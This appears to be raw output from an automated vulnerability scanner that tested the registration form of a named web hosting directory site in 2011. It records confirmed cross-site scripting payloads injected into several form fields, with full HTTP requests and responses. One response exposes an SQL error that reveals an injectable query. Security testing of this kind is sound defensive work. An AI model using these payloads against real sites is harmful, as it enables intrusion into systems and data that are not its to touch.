<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 11
province POST 3
zip POST 3
country POST 12
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST '"--></style></script><script>alert(0x001F3F)</script>

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 546
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=11&province=3&zip=3&country=12&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001F3F)%3c%2fscript%3e

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 14:03:36 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='15EE592BC8406E1968FB65D8E9F2D2BCC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='15EE592BC8406E194EB082697DA0D2EF6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='15EE592BC8406E1917084F04458AE94FC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='15EE592BC8406E19FFA04E3B345F52DCC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='15EE592BC8406E19CE2A8087AA3ACE346F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='15EE592BC8406E19D1381C8DFADE2B83C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='15EE592BC8406E19638CE68D5ED27209C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='15EE592BC8406E19BD7FDE1ABDB298696F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='15EE592BC8406E193139820402459F0FC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='15EE592BC8406E1926C1087C5833C38A6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='15EE592BC8406E19D256936C54B23856C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='15EE592BC8406E19F3DBB69FE303BAD7C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='15EE592BC8406E1999F7925440CA172AC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='15EE592BC8406E192849A19499BC6304C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='15EE592BC8406E1936F68349777D7593C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='15EE592BC8406E193BBD2914E907BEEEC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='15EE592BC8406E197AAA893E8455211C6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='15EE592BC8406E1960466040F25A58496F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='15EE592BC8406E195432C771585E6EA86F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST '"--></style></script><script>alert(0x001F40)</script>
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 11
province POST 3
zip POST 3
country POST 12
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
deposit POST 3
promo_code POST 3
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 530
Accept-Encoding: gzip, deflate

company_name='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001F40)%3c%2fscript%3e&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=11&province=3&zip=3&country=12&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&deposit=3&promo_code=3&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 14:21:29 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 338
Connection: close
Content-Type: text/html; charset=UTF-8


Error #1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"--></style></script><script>netsparker(0x001F40)</script>'' at line 1 in SQL SELECT account_id FROM account WHERE company_name=''"--></style></script><script>netsparker(0x001F40)</script>'
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST '"--></style></script><script>alert(0x001F41)</script>
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 11
province POST 3
zip POST 3
country POST 12
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
deposit POST 3
promo_code POST 3
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 530
Accept-Encoding: gzip, deflate

company_name=Smith&first_name='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001F41)%3c%2fscript%3e&last_name=Smith&address=3&address2=3&city=3&state=11&province=3&zip=3&country=12&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&deposit=3&promo_code=3&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 14:21:32 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
